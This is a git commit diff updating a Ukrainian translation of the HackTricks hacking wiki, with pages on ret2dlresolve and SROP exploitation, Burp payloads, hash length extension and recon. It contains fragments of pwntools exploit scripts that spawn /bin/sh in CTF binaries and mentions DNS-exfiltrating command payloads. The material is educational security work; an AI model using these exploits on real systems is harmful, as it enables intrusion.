Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

This commit is contained in:
Translator 2025-01-03 18:15:23 +00:00
parent 52d2f44341
commit 740fcc5872
73 changed files with 1287 additions and 1000 deletions

View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

View File

@ -1,13 +1,10 @@
# HackTricks
Час читання: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Логотипи Hacktricks та анімаційний дизайн від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks логотипи та анімаційний дизайн від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що завгодно, що я навчився з CTF, реальних додатків, читання досліджень та новин.**
> [!TIP] > **Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що завгодно, що я навчився з CTF, реальних додатків, читання досліджень та новин.**
Щоб почати, слідуйте цій сторінці, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час пентестингу** одного або кількох **машин:**
@ -35,7 +32,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -43,11 +42,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** - це **перша** етична хакерська та **платформа для винагород за вразливості** в **Європі**.
**Intigriti** - це **№1 в Європі** платформа етичного хакінгу та **bug bounty.**
**Порада щодо винагород за вразливості**: **зареєструйтесь** на **Intigriti**, преміум **платформі для винагород за вразливості, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
**Порада щодо bug bounty**: **зареєструйтесь** на **Intigriti**, преміум **платформі bug bounty, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -56,11 +57,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані найсучаснішими інструментами спільноти.
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, використовуючи найсучасніші інструменти спільноти.
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -68,13 +71,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
- **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
- **Новини про хакінг в реальному часі:** Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
- **Останні оголошення:** Будьте в курсі нових винагород за вразливості та важливих оновлень платформи
- **Новини про хакінг в реальному часі:** Слідкуйте за швидкими новинами з світу хакінгу через новини та інсайти в реальному часі
- **Останні оголошення:** Будьте в курсі нових винагород за баги та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами сьогодні!
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами сьогодні!
---
@ -84,9 +87,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -109,9 +114,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Вивчайте технології та навички, необхідні для проведення досліджень вразливостей, тестування на проникнення та реверс-інжинірингу для захисту мобільних додатків та пристроїв. **Опануйте безпеку iOS та Android** через наші курси на вимогу та **отримайте сертифікат**:
Вивчайте технології та навички, необхідні для проведення досліджень вразливостей, тестування на проникнення та зворотного інженерії для захисту мобільних додатків та пристроїв. **Опануйте безпеку iOS та Android** через наші курси на вимогу та **отримайте сертифікат**:
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -119,15 +126,17 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнес **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; пентестинг, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, рецензії коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; Пентестинг, **Аудити** безпеки, Тренінги з обізнаності, Фішинг-кампанії, Огляд коду, Розробка експлойтів, Аутсорсинг експертів з безпеки та багато іншого.
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, на їхньому сайті зазначено: "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**сайтом**](https://websec.nl/en/) та [**блогом**](https://websec.nl/blog/)!
На додаток до вищезазначеного, WebSec також є **відданим прихильником HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## Ліцензія та відмова від відповідальності

View File

@ -10,14 +10,16 @@
Отже, можливо **підробити всі ці структури**, щоб динамічно зв'язати запитуваний символ (як функцію **`system`**) і викликати її з налаштованим параметром (наприклад, **`system('/bin/sh')`**).
Зазвичай всі ці структури підробляються шляхом створення **початкового ROP-ланцюга, який викликає `read`** над записуваною пам'яттю, потім **структури** та рядок **`'/bin/sh'** передаються, щоб їх зберегти за допомогою read у відомому місці, а потім ROP-ланцюг продовжується викликом **`_dl_runtime_resolve`**, змушуючи його **розв'язати адресу `system`** у підроблених структурах і **викликати цю адресу** з адресою до `$'/bin/sh'`.
Зазвичай всі ці структури підробляються шляхом створення **початкового ROP-ланцюга, який викликає `read`** над записуваною пам'яттю, потім **структури** та рядок **`'/bin/sh'`** передаються, щоб їх зберегти за допомогою read у відомому місці, а потім ROP-ланцюг продовжується викликом **`_dl_runtime_resolve`**, змушуючи його **розв'язати адресу `system`** у підроблених структурах і **викликати цю адресу** з адресою до `$'/bin/sh'`.
> [!TIP]
> Ця техніка особливо корисна, якщо немає syscall gadgets (для використання таких технік, як [**ret2syscall**](rop-syscall-execv/) або [SROP](srop-sigreturn-oriented-programming/)) і немає способів витоку адрес libc.
Перегляньте це відео для гарного пояснення цієї техніки в другій половині відео:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
Або перегляньте ці сторінки для покрокового пояснення:
@ -26,7 +28,7 @@
## Attack Summary
1. Написати підроблені структури в якесь місце
1. Записати підроблені структури в якесь місце
2. Встановити перший аргумент системи (`$rdi = &'/bin/sh'`)
3. Встановити на стеку адреси до структур для виклику **`_dl_runtime_resolve`**
4. **Викликати** `_dl_runtime_resolve`
@ -186,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, без relro, без canary, nx, без pie, базове переповнення буфера та повернення. Для експлуатації використовується bof для повторного виклику `read` з секцією `.bss` та більшим розміром, щоб зберегти там фейкові таблиці `dlresolve` для завантаження `system`, повернення до main та повторного використання початкового bof для виклику dlresolve, а потім `system('/bin/sh')`.
- 32bit, без relro, без canary, nx, без pie, базовий малий переповнення буфера та повернення. Для експлуатації використовується bof для повторного виклику `read` з секцією `.bss` та більшим розміром, щоб зберегти там фейкові таблиці `dlresolve` для завантаження `system`, повернення до main та повторного використання початкового bof для виклику dlresolve, а потім `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -57,7 +57,9 @@
```
Для кращого пояснення також перегляньте:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Приклад
@ -88,7 +90,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Перевірте також [**експлойт звідси**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), де бінар вже викликав `sigreturn`, тому немає потреби будувати це з **ROP**:
Перевірте також [**експлойт звідси**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), де бінар вже викликав `sigreturn`, тому немає необхідності будувати це з **ROP**:
```python
from pwn import *
@ -126,13 +128,13 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** і прочитати прапор, який знаходиться в пам'яті бінарного файлу.
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** і прочитати прапорець, який знаходиться в пам'яті бінарного файлу.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** (бінарник має рядок `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що зловживає функцією `gets` з відсутністю гаджетів, які виконують [**ret2syscall**](../rop-syscall-execv/). ROP ланцюг записує `/bin/sh` в `.bss`, викликаючи `gets` знову, зловживає функцією **`alarm`**, щоб встановити eax на `0xf`, щоб викликати **SROP** і виконати оболонку.
- 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що використовує функцію `gets` з відсутністю гаджетів, які виконують [**ret2syscall**](../rop-syscall-execv/). ROP ланцюг записує `/bin/sh` в `.bss`, викликаючи `gets` знову, зловживає функцією **`alarm`**, щоб встановити eax на `0xf`, щоб викликати **SROP** і виконати оболонку.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 біти асемблерна програма, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати syscall, а потім викликає `exit`. Вибраний syscall - це `sigreturn`, який встановить регістри і перемістить `eip`, щоб викликати попередню інструкцію syscall і виконати `memprotect`, щоб встановити простір бінарного файлу на `rwx` і встановити ESP в бінарному просторі. Далі програма знову викличе read в ESP, але в цьому випадку ESP буде вказувати на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.
- 64 біти асемблерної програми, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати syscall, а потім викликає `exit`. Вибраний syscall - це `sigreturn`, який встановить регістри і перемістить `eip`, щоб викликати попередню інструкцію syscall і виконати `memprotect`, щоб встановити бінарний простір на `rwx` і встановити ESP в бінарному просторі. Далі програма знову викличе `read` в ESP, але в цьому випадку ESP буде вказувати на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP використовується для надання привілеїв виконання (memprotect) місцю, де був розміщений shellcode.

View File

@ -4,13 +4,15 @@
- **Простий Список:** Просто список, що містить запис в кожному рядку
- **Файл Часу Виконання:** Список, що читається під час виконання (не завантажується в пам'ять). Для підтримки великих списків.
- **Модифікація Регістру:** Застосування деяких змін до списку рядків (Без змін, до нижнього регістру, до ВЕРХНЬОГО, до Правильного імені - перша буква велика, решта - маленька, до Правильного Імені - перша буква велика, решта залишається такою ж).
- **Числа:** Генерація чисел від X до Y з використанням кроку Z або випадковим чином.
- **Модифікація Регістру:** Застосувати деякі зміни до списку рядків (Без змін, до нижнього регістру, до ВЕРХНЬОГО РЕГІСТРУ, до Правильного імені - перша буква велика, решта - маленька, до Правильного Імені - перша буква велика, решта залишається такою ж).
- **Числа:** Генерувати числа від X до Y з кроком Z або випадковим чином.
- **Брутфорсер:** Набір символів, мінімальна та максимальна довжина.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Пейлоад для виконання команд та отримання виходу через DNS запити до burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## ПЕТУХ
```

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Резюме атаки
## Summary of the attack
Уявіть собі сервер, який **підписує** деякі **дані**, **додаючи** **секрет** до відомих відкритих текстових даних, а потім хешуючи ці дані. Якщо ви знаєте:
@ -15,7 +15,7 @@
Тоді зловмисник може **додати** **дані** і **згенерувати** дійсну **підпис** для **попередніх даних + доданих даних**.
### Як?
### How?
В основному, вразливі алгоритми генерують хеші, спочатку **хешуючи блок даних**, а потім, **з** **раніше** створеного **хешу** (стану), вони **додають наступний блок даних** і **хешують його**.
@ -27,11 +27,13 @@
- Додати рядок "append"
- Завершити хеш, і отриманий хеш буде **дійсним для "secret" + "data" + "padding" + "append"**
### **Інструмент**
### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### Посилання
### References
Ви можете знайти цю атаку добре поясненою в [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)

View File

@ -4,8 +4,12 @@
Якщо ви можете зашифрувати відомий відкритий текст, ви також можете витягти пароль. Більше посилань можна знайти в машині HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@
- **Алгоритм (і він вразливий до цієї атаки)**
- **Паддінг відомий**
- Зазвичай використовується стандартний, тому якщо виконуються інші 3 вимоги, це також так
- Паддінг варіюється в залежності від довжини секрету + даних, тому довжина секрету потрібна
- Паддінг змінюється в залежності від довжини секрету + даних, тому довжина секрету потрібна
Тоді зловмисник може **додати** **дані** і **згенерувати** дійсну **підпис** для **попередніх даних + доданих даних**.
@ -27,7 +27,9 @@
## **Інструмент**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Посилання

View File

@ -4,8 +4,12 @@
Якщо ви можете зашифрувати відомий відкритий текст, ви також можете витягти пароль. Більше посилань можна знайти в машині HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,29 +4,29 @@
## Виявлення активів
> Вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
> Вам сказали, що все, що належить якійсь компанії, знаходиться в межах обсягу, і ви хочете з'ясувати, що насправді належить цій компанії.
Мета цього етапу - отримати всі **компанії, що належать головній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
Мета цього етапу - отримати всі **компанії, що належать головній компанії** та всі **активи** цих компаній. Для цього ми будемо:
1. Знайти придбання головної компанії, це дасть нам компанії в межах сфери.
1. Знайти придбання головної компанії, це дасть нам компанії в межах обсягу.
2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії.
3. Використати зворотні whois запити для пошуку інших записів (імен організацій, доменів...) пов'язаних з першим (це можна робити рекурсивно).
4. Використати інші техніки, такі як фільтри shodan `org` та `ssl`, для пошуку інших активів (трик `ssl` можна робити рекурсивно).
4. Використати інші техніки, такі як shodan `org` та `ssl` фільтри для пошуку інших активів (трик `ssl` можна робити рекурсивно).
### **Придбання**
По-перше, нам потрібно знати, які **інші компанії належать головній компанії**.\
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** **головну компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** **головну компанію** та **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії та знайти **придбання**.
> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи.
> Добре, на цьому етапі ви повинні знати всі компанії в межах обсягу. Давайте з'ясуємо, як знайти їх активи.
### **ASN**
Номер автономної системи (**ASN**) - це **унікальний номер**, призначений **автономній системі** (AS) **Управлінням призначення номерів Інтернету (IANA)**.\
Номер автономної системи (**ASN**) - це **унікальний номер**, призначений **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
Цікаво дізнатися, чи **компанія призначила будь-який ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** та **шукати домени** в цих IP.\
Цікаво дізнатися, чи **компанія призначила будь-який ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** та **шукати домени** в цих IP.\
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
```bash
@ -70,19 +70,19 @@ _Зверніть увагу, що в наступних запропонова
### **Зворотний DNS**
Оскільки ви знайшли всі IP-діапазони доменів, ви можете спробувати виконати **зворотні DNS-запити** на цих **IP-адресах, щоб знайти більше доменів в межах обсягу**. Спробуйте використовувати деякий DNS-сервер жертви або деякий відомий DNS-сервер (1.1.1.1, 8.8.8.8)
Оскільки ви знайшли всі IP-діапазони доменів, ви можете спробувати виконати **зворотні DNS-запити** на цих **IP, щоб знайти більше доменів в межах обсягу**. Спробуйте використовувати деякий DNS-сервер жертви або деякий відомий DNS-сервер (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Для цього адміністратор повинен вручну увімкнути PTR.\
Для цього адміністратор має вручну увімкнути PTR.\
Ви також можете використовувати онлайн-інструмент для цієї інформації: [http://ptrarchive.com/](http://ptrarchive.com)
### **Зворотний Whois (loop)**
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але ще більш цікаво, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
Ви можете використовувати онлайн-інструменти, такі як:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
@ -100,7 +100,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Трекери**
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** **керуються однією командою**.\
Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках.
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону з нашим об'єктом.
Більше того, ви також можете шукати технології, використовуючи хеш фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
Більше того, ви також можете шукати технології, використовуючи хеш значка фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -150,18 +150,18 @@ return fhash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
щоб оновити всі сертифікати доменів на сервері. Це означає, що навіть якщо CA, використаний для цього, не встановлює час, коли він був згенерований, у часі дії, можливо **знайти домени, що належать одній компанії в журналах прозорості сертифікатів**.\
щоб оновити всі сертифікати доменів на сервері. Це означає, що навіть якщо CA, що використовується для цього, не встановлює час, коли він був згенерований, у часі дії, можливо **знайти домени, що належать одній компанії, у журналах прозорості сертифікатів**.\
Перегляньте цей [**звіт для отримання додаткової інформації**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Інформація про Mail DMARC
Ви можете використовувати веб-сайт, такий як [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) або інструмент, такий як [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), щоб знайти **домени та піддомени, що ділять ту ж інформацію DMARC**.
Ви можете використовувати веб-сайт, такий як [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com), або інструмент, такий як [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), щоб знайти **домени та піддомени, що мають однакову інформацію DMARC**.
### **Пасивне захоплення**
Очевидно, що поширено, коли люди призначають піддомени IP-адресам, які належать постачальникам хмарних послуг, і в якийсь момент **втрачають цю IP-адресу, але забувають видалити запис DNS**. Тому, просто **запустивши VM** у хмарі (такій як Digital Ocean), ви фактично **захоплюєте деякі піддомени**.
Здається, що звичайно люди призначають піддомени IP-адресам, які належать постачальникам хмарних послуг, і в якийсь момент **втрачають цю IP-адресу, але забувають видалити запис DNS**. Тому, просто **створивши віртуальну машину** у хмарі (такій як Digital Ocean), ви фактично **захоплюєте деякі піддомени**.
[**Цей пост**](https://kmsec.uk/blog/passive-takeover/) пояснює історію про це і пропонує скрипт, який **запускає VM у DigitalOcean**, **отримує** **IPv4** нової машини і **шукає в Virustotal записи піддоменів**, що вказують на неї.
[**Цей пост**](https://kmsec.uk/blog/passive-takeover/) пояснює історію про це і пропонує скрипт, який **створює віртуальну машину в DigitalOcean**, **отримує** **IPv4** нової машини і **шукає в Virustotal записи піддоменів**, що вказують на неї.
### **Інші способи**
@ -171,7 +171,7 @@ return fhash
Як ви вже знаєте, назву організації, що володіє IP-простором. Ви можете шукати за цими даними в shodan, використовуючи: `org:"Tesla, Inc."` Перевірте знайдені хости на наявність нових несподіваних доменів у сертифікаті TLS.
Ви могли б отримати **TLS сертифікат** основної веб-сторінки, отримати **назву організації** і потім шукати це ім'я в **TLS сертифікатах** всіх веб-сторінок, відомих **shodan**, з фільтром: `ssl:"Tesla Motors"` або використати інструмент, такий як [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Ви можете отримати **TLS сертифікат** основної веб-сторінки, отримати **назву організації** і потім шукати цю назву в **TLS сертифікатах** всіх веб-сторінок, відомих **shodan**, з фільтром: `ssl:"Tesla Motors"` або використати інструмент, такий як [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@ -179,12 +179,10 @@ return fhash
### **Шукання вразливостей**
Перевірте на наявність [захоплення домену](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Можливо, якась компанія **використовує якийсь домен**, але вони **втратили право власності**. Просто зареєструйте його (якщо достатньо дешевий) і дайте знати компанії.
